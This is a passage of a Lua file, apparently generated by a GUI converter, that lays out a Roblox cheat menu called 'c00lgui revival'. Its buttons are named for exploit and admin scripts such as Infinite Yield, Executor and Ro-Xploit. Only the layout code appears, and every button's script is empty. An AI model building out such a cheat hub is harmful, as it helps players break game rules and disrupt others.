
KeylessUniversal

-- Instances: 297 | Scripts: 107 | Modules: 0 | Tags: 0
local G2L = {};
-- StarterGui.CoolGui
G2L["1"] = Instance.new("ScreenGui", game:GetService("Players").LocalPlayer:WaitForChild("PlayerGui"));
G2L["1"]["Name"] = [[CoolGui]];
G2L["1"]["ZIndexBehavior"] = Enum.ZIndexBehavior.Sibling;
G2L["1"]["ResetOnSpawn"] = false;
-- StarterGui.CoolGui.Frame
G2L["2"] = Instance.new("Frame", G2L["1"]);
G2L["2"]["Active"] = true;
G2L["2"]["ZIndex"] = 2;
G2L["2"]["BorderSizePixel"] = 3;
G2L["2"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2"]["Size"] = UDim2.new(0, 300, 0, 400);
G2L["2"]["Position"] = UDim2.new(0, 3, 0.3, 0);
G2L["2"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
-- StarterGui.CoolGui.Frame.Title
G2L["3"] = Instance.new("TextLabel", G2L["2"]);
G2L["3"]["ZIndex"] = 2;
G2L["3"]["BorderSizePixel"] = 3;
G2L["3"]["TextSize"] = 24;
G2L["3"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["3"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["3"]["Size"] = UDim2.new(1, 0, 0, 40);
G2L["3"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["3"]["Text"] = [[c00lgui revival by Hyperion]];
G2L["3"]["Name"] = [[Title]];
-- StarterGui.CoolGui.Frame.left
G2L["4"] = Instance.new("TextButton", G2L["2"]);
G2L["4"]["BorderSizePixel"] = 3;
G2L["4"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["4"]["TextSize"] = 48;
G2L["4"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["4"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["4"]["ZIndex"] = 2;
G2L["4"]["Size"] = UDim2.new(0.5, 0, 0, 40);
G2L["4"]["Name"] = [[left]];
G2L["4"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["4"]["Text"] = [[<]];
G2L["4"]["Position"] = UDim2.new(0, 0, 0, 40);
-- StarterGui.CoolGui.Frame.left.LocalScript
G2L["5"] = Instance.new("LocalScript", G2L["4"]);
-- StarterGui.CoolGui.Frame.Page1
G2L["6"] = Instance.new("Frame", G2L["2"]);
G2L["6"]["Visible"] = true;
G2L["6"]["Active"] = true;
G2L["6"]["ZIndex"] = 2;
G2L["6"]["BorderSizePixel"] = 3;
G2L["6"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["6"]["Size"] = UDim2.new(1, 0, 1, -106);
G2L["6"]["Position"] = UDim2.new(0, 0, 0, 83);
G2L["6"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["6"]["Name"] = [[Page1]];
-- StarterGui.CoolGui.Frame.Page1.PageLabel
G2L["7"] = Instance.new("TextLabel", G2L["6"]);
G2L["7"]["ZIndex"] = 2;
G2L["7"]["BorderSizePixel"] = 3;
G2L["7"]["TextSize"] = 14;
G2L["7"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["7"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["7"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["7"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["7"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["7"]["Text"] = [[Page 1]];
G2L["7"]["Name"] = [[PageLabel]];
G2L["7"]["Position"] = UDim2.new(0, 0, 1, -30);
-- StarterGui.CoolGui.Frame.Page1.acg
G2L["8"] = Instance.new("Frame", G2L["6"]);
G2L["8"]["Active"] = true;
G2L["8"]["BorderSizePixel"] = 3;
G2L["8"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["8"]["Size"] = UDim2.new(0.5, -3, 1, 0);
G2L["8"]["Position"] = UDim2.new(0.5, 3, 0, 0);
G2L["8"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["8"]["Name"] = [[acg]];
-- StarterGui.CoolGui.Frame.Page1.acg.SectionTitle
G2L["9"] = Instance.new("TextLabel", G2L["8"]);
G2L["9"]["BorderSizePixel"] = 3;
G2L["9"]["TextSize"] = 14;
G2L["9"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["9"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["9"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["9"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["9"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["9"]["Text"] = [[Admin Commands/Guis]];
G2L["9"]["Name"] = [[SectionTitle]];
-- StarterGui.CoolGui.Frame.Page1.acg.Button
G2L["a"] = Instance.new("TextButton", G2L["8"]);
G2L["a"]["TextWrapped"] = true;
G2L["a"]["BorderSizePixel"] = 3;
G2L["a"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["a"]["TextSize"] = 14;
G2L["a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["a"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["a"]["Name"] = [[Button]];
G2L["a"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["a"]["Text"] = [[Rocky2u's Script CMDs]];
G2L["a"]["Position"] = UDim2.new(0, 0, 0, 33);
-- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript
G2L["b"] = Instance.new("LocalScript", G2L["a"]);
-- StarterGui.CoolGui.Frame.Page1.acg.Button
G2L["c"] = Instance.new("TextButton", G2L["8"]);
G2L["c"]["BorderSizePixel"] = 3;
G2L["c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["c"]["TextSize"] = 14;
G2L["c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["c"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["c"]["Name"] = [[Button]];
G2L["c"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["c"]["Text"] = [[Infinite Yield]];
G2L["c"]["Position"] = UDim2.new(0, 0, 0, 66);
-- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript
G2L["d"] = Instance.new("LocalScript", G2L["c"]);
-- StarterGui.CoolGui.Frame.Page1.acg.Button
G2L["e"] = Instance.new("TextButton", G2L["8"]);
G2L["e"]["BorderSizePixel"] = 3;
G2L["e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["e"]["TextSize"] = 14;
G2L["e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["e"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["e"]["Name"] = [[Button]];
G2L["e"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["e"]["Text"] = [[Bomb Planter]];
G2L["e"]["Position"] = UDim2.new(0, 0, 0, 99);
-- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript
G2L["f"] = Instance.new("LocalScript", G2L["e"]);
-- StarterGui.CoolGui.Frame.Page1.acg.Button
G2L["10"] = Instance.new("TextButton", G2L["8"]);
G2L["10"]["BorderSizePixel"] = 3;
G2L["10"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["10"]["TextSize"] = 14;
G2L["10"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["10"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["10"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["10"]["Name"] = [[Button]];
G2L["10"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["10"]["Text"] = [[Fly Gui]];
G2L["10"]["Position"] = UDim2.new(0, 0, 0, 132);
-- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript
G2L["11"] = Instance.new("LocalScript", G2L["10"]);
-- StarterGui.CoolGui.Frame.Page1.acg.Button
G2L["12"] = Instance.new("TextButton", G2L["8"]);
G2L["12"]["BorderSizePixel"] = 3;
G2L["12"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["12"]["TextSize"] = 14;
G2L["12"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["12"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["12"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["12"]["Name"] = [[Button]];
G2L["12"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["12"]["Text"] = [[Fedora Admin]];
G2L["12"]["Position"] = UDim2.new(0, 0, 0, 165);
-- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript
G2L["13"] = Instance.new("LocalScript", G2L["12"]);
-- StarterGui.CoolGui.Frame.Page1.acg.Button
G2L["14"] = Instance.new("TextButton", G2L["8"]);
G2L["14"]["BorderSizePixel"] = 3;
G2L["14"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["14"]["TextSize"] = 14;
G2L["14"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["14"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["14"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["14"]["Name"] = [[Button]];
G2L["14"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["14"]["Text"] = [[Energize]];
G2L["14"]["Position"] = UDim2.new(0, 0, 0, 198);
-- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript
G2L["15"] = Instance.new("LocalScript", G2L["14"]);
-- StarterGui.CoolGui.Frame.Page1.acg.Button
G2L["16"] = Instance.new("TextButton", G2L["8"]);
G2L["16"]["BorderSizePixel"] = 3;
G2L["16"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["16"]["TextSize"] = 14;
G2L["16"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["16"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["16"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["16"]["Name"] = [[Button]];
G2L["16"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["16"]["Text"] = [[OPFinality]];
G2L["16"]["Position"] = UDim2.new(0, 73, 0, 66);
-- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript
G2L["17"] = Instance.new("LocalScript", G2L["16"]);
-- StarterGui.CoolGui.Frame.Page1.acg.Button
G2L["18"] = Instance.new("TextButton", G2L["8"]);
G2L["18"]["BorderSizePixel"] = 3;
G2L["18"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["18"]["TextSize"] = 14;
G2L["18"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["18"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["18"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["18"]["Name"] = [[Button]];
G2L["18"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["18"]["Text"] = [[Executor]];
G2L["18"]["Position"] = UDim2.new(0, 73, 0, 99);
-- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript
G2L["19"] = Instance.new("LocalScript", G2L["18"]);
-- StarterGui.CoolGui.Frame.Page1.acg.Button
G2L["1a"] = Instance.new("TextButton", G2L["8"]);
G2L["1a"]["BorderSizePixel"] = 3;
G2L["1a"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1a"]["TextSize"] = 14;
G2L["1a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1a"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["1a"]["Name"] = [[Button]];
G2L["1a"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["1a"]["Text"] = [[Reviz Admin]];
G2L["1a"]["Position"] = UDim2.new(0, 73, 0, 132);
-- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript
G2L["1b"] = Instance.new("LocalScript", G2L["1a"]);
-- StarterGui.CoolGui.Frame.Page1.acg.Button
G2L["1c"] = Instance.new("TextButton", G2L["8"]);
G2L["1c"]["BorderSizePixel"] = 3;
G2L["1c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1c"]["TextSize"] = 14;
G2L["1c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1c"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["1c"]["Name"] = [[Button]];
G2L["1c"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["1c"]["Text"] = [[ReplicationUI]];
G2L["1c"]["Position"] = UDim2.new(0, 73, 0, 165);
-- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript
G2L["1d"] = Instance.new("LocalScript", G2L["1c"]);
-- StarterGui.CoolGui.Frame.Page1.acg.Button
G2L["1e"] = Instance.new("TextButton", G2L["8"]);
G2L["1e"]["BorderSizePixel"] = 3;
G2L["1e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1e"]["TextSize"] = 14;
G2L["1e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1e"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["1e"]["Name"] = [[Button]];
G2L["1e"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["1e"]["Text"] = [[T0PK3K]];
G2L["1e"]["Position"] = UDim2.new(0, 73, 0, 198);
-- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript
G2L["1f"] = Instance.new("LocalScript", G2L["1e"]);
-- StarterGui.CoolGui.Frame.Page1.acg.Button
G2L["20"] = Instance.new("TextButton", G2L["8"]);
G2L["20"]["TextWrapped"] = true;
G2L["20"]["BorderSizePixel"] = 3;
G2L["20"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["20"]["TextSize"] = 14;
G2L["20"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["20"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["20"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["20"]["Name"] = [[Button]];
G2L["20"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["20"]["Text"] = [[Nameless Admin]];
G2L["20"]["Position"] = UDim2.new(0, 73, 0, 33);
-- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript
G2L["21"] = Instance.new("LocalScript", G2L["20"]);
-- StarterGui.CoolGui.Frame.Page1.svd
G2L["22"] = Instance.new("Frame", G2L["6"]);
G2L["22"]["Active"] = true;
G2L["22"]["BorderSizePixel"] = 3;
G2L["22"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["22"]["Size"] = UDim2.new(0.5, -3, 1, 0);
G2L["22"]["Position"] = UDim2.new(0, 3, 0, 0);
G2L["22"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["22"]["Name"] = [[svd]];
-- StarterGui.CoolGui.Frame.Page1.svd.SectionTitle
G2L["23"] = Instance.new("TextLabel", G2L["22"]);
G2L["23"]["BorderSizePixel"] = 3;
G2L["23"]["TextSize"] = 14;
G2L["23"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["23"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["23"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["23"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["23"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["23"]["Text"] = [[ClientSide Scripts]];
G2L["23"]["Name"] = [[SectionTitle]];
-- StarterGui.CoolGui.Frame.Page1.svd.Button
G2L["24"] = Instance.new("TextButton", G2L["22"]);
G2L["24"]["TextWrapped"] = true;
G2L["24"]["BorderSizePixel"] = 3;
G2L["24"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["24"]["TextSize"] = 14;
G2L["24"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["24"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["24"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["24"]["Name"] = [[Button]];
G2L["24"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["24"]["Text"] = [[c00lgui (pre-reborn)]];
G2L["24"]["Position"] = UDim2.new(0, 0, 0, 33);
-- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript
G2L["25"] = Instance.new("LocalScript", G2L["24"]);
-- StarterGui.CoolGui.Frame.Page1.svd.Button
G2L["26"] = Instance.new("TextButton", G2L["22"]);
G2L["26"]["BorderSizePixel"] = 3;
G2L["26"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["26"]["TextSize"] = 14;
G2L["26"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["26"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["26"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["26"]["Name"] = [[Button]];
G2L["26"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["26"]["Text"] = [[c00lify]];
G2L["26"]["Position"] = UDim2.new(0, 0, 0, 66);
-- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript
G2L["27"] = Instance.new("LocalScript", G2L["26"]);
-- StarterGui.CoolGui.Frame.Page1.svd.Button
G2L["28"] = Instance.new("TextButton", G2L["22"]);
G2L["28"]["BorderSizePixel"] = 3;
G2L["28"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["28"]["TextSize"] = 14;
G2L["28"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["28"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["28"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["28"]["Name"] = [[Button]];
G2L["28"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["28"]["Text"] = [[YourMom Gui]];
G2L["28"]["Position"] = UDim2.new(0, 0, 0, 99);
-- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript
G2L["29"] = Instance.new("LocalScript", G2L["28"]);
-- StarterGui.CoolGui.Frame.Page1.svd.Button
G2L["2a"] = Instance.new("TextButton", G2L["22"]);
G2L["2a"]["BorderSizePixel"] = 3;
G2L["2a"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2a"]["TextSize"] = 14;
G2L["2a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2a"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["2a"]["Name"] = [[Button]];
G2L["2a"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["2a"]["Text"] = [[T0PK3K FD]];
G2L["2a"]["Position"] = UDim2.new(0, 0, 0, 132);
-- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript
G2L["2b"] = Instance.new("LocalScript", G2L["2a"]);
-- StarterGui.CoolGui.Frame.Page1.svd.Button
G2L["2c"] = Instance.new("TextButton", G2L["22"]);
G2L["2c"]["BorderSizePixel"] = 3;
G2L["2c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2c"]["TextSize"] = 14;
G2L["2c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2c"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["2c"]["Name"] = [[Button]];
G2L["2c"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["2c"]["Text"] = [[666ify]];
G2L["2c"]["Position"] = UDim2.new(0, 0, 0, 165);
-- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript
G2L["2d"] = Instance.new("LocalScript", G2L["2c"]);
-- StarterGui.CoolGui.Frame.Page1.svd.Button
G2L["2e"] = Instance.new("TextButton", G2L["22"]);
G2L["2e"]["BorderSizePixel"] = 3;
G2L["2e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2e"]["TextSize"] = 14;
G2L["2e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2e"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["2e"]["Name"] = [[Button]];
G2L["2e"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["2e"]["Text"] = [[Ro-Xploit]];
G2L["2e"]["Position"] = UDim2.new(0, 73, 0, 66);
-- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript
G2L["2f"] = Instance.new("LocalScript", G2L["2e"]);
-- StarterGui.CoolGui.Frame.Page1.svd.Button
G2L["30"] = Instance.new("TextButton", G2L["22"]);
G2L["30"]["BorderSizePixel"] = 3;
G2L["30"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["30"]["TextSize"] = 14;
G2L["30"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["30"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["30"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["30"]["Name"] = [[Button]];
G2L["30"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["30"]["Text"] = [[Infinite Yield FD]];
G2L["30"]["Position"] = UDim2.new(0, 73, 0, 99);
-- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript
G2L["31"] = Instance.new("LocalScript", G2L["30"]);
-- StarterGui.CoolGui.Frame.Page1.svd.Button
G2L["32"] = Instance.new("TextButton", G2L["22"]);
G2L["32"]["BorderSizePixel"] = 3;
G2L["32"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["32"]["TextSize"] = 14;
G2L["32"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["32"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["32"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["32"]["Name"] = [[Button]];
G2L["32"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["32"]["Text"] = [[Lazor Mouth]];
G2L["32"]["Position"] = UDim2.new(0, 73, 0, 132);
-- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript
G2L["33"] = Instance.new("LocalScript", G2L["32"]);
-- StarterGui.CoolGui.Frame.Page1.svd.Button
G2L["34"] = Instance.new("TextButton", G2L["22"]);
G2L["34"]["BorderSizePixel"] = 3;
G2L["34"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["34"]["TextSize"] = 14;
G2L["34"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["34"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["34"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["34"]["Name"] = [[Button]];
G2L["34"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["34"]["Text"] = [[Play Music]];
G2L["34"]["Position"] = UDim2.new(0, 73, 0, 165);
-- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript
G2L["35"] = Instance.new("LocalScript", G2L["34"]);
-- StarterGui.CoolGui.Frame.Page1.svd.Button
G2L["36"] = Instance.new("TextButton", G2L["22"]);
G2L["36"]["BorderSizePixel"] = 3;
G2L["36"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["36"]["TextSize"] = 14;
G2L["36"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["36"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["36"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["36"]["Name"] = [[Button]];
G2L["36"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["36"]["Text"] = [[Grab Knife]];
G2L["36"]["Position"] = UDim2.new(0, 73, 0, 33);
-- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript
G2L["37"] = Instance.new("LocalScript", G2L["36"]);
-- StarterGui.CoolGui.Frame.right
G2L["38"] = Instance.new("TextButton", G2L["2"]);
G2L["38"]["BorderSizePixel"] = 3;
G2L["38"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["38"]["TextSize"] = 48;
G2L["38"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["38"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["38"]["ZIndex"] = 2;
G2L["38"]["Size"] = UDim2.new(0.5, -3, 0, 40);
G2L["38"]["Name"] = [[right]];
G2L["38"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["38"]["Text"] = [[>]];
G2L["38"]["Position"] = UDim2.new(0.5, 3, 0, 40);
-- StarterGui.CoolGui.Frame.right.LocalScript
G2L["39"] = Instance.new("LocalScript", G2L["38"]);
-- StarterGui.CoolGui.Frame.Settings
G2L["3a"] = Instance.new("Frame", G2L["2"]);
G2L["3a"]["Active"] = true;
G2L["3a"]["BorderSizePixel"] = 3;
G2L["3a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3a"]["Size"] = UDim2.new(0, 300, 0, 400);
G2L["3a"]["Position"] = UDim2.new(1, 3, 0, 0);
G2L["3a"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["3a"]["Name"] = [[Settings]];
-- StarterGui.CoolGui.Frame.Settings.SettingsTitle
G2L["3b"] = Instance.new("TextLabel", G2L["3a"]);
G2L["3b"]["BorderSizePixel"] = 3;
G2L["3b"]["TextSize"] = 24;
G2L["3b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["3b"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["3b"]["Size"] = UDim2.new(1, 0, 0, 40);
G2L["3b"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["3b"]["Text"] = [[Settings]];
G2L["3b"]["Name"] = [[SettingsTitle]];
-- StarterGui.CoolGui.Frame.Settings.SettingsButton
G2L["3c"] = Instance.new("TextButton", G2L["3a"]);
G2L["3c"]["BorderSizePixel"] = 3;
G2L["3c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["3c"]["TextSize"] = 48;
G2L["3c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["3c"]["Size"] = UDim2.new(0, 27, 1, 0);
G2L["3c"]["Name"] = [[SettingsButton]];
G2L["3c"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["3c"]["Text"] = [[<]];
G2L["3c"]["Position"] = UDim2.new(1, 3, 0, 0);
-- StarterGui.CoolGui.Frame.Settings.SettingsButton.SettingsCloseOpen
G2L["3d"] = Instance.new("LocalScript", G2L["3c"]);
G2L["3d"]["Name"] = [[SettingsCloseOpen]];
-- StarterGui.CoolGui.Frame.Settings.addonr
G2L["3e"] = Instance.new("TextButton", G2L["3a"]);
G2L["3e"]["BorderSizePixel"] = 3;
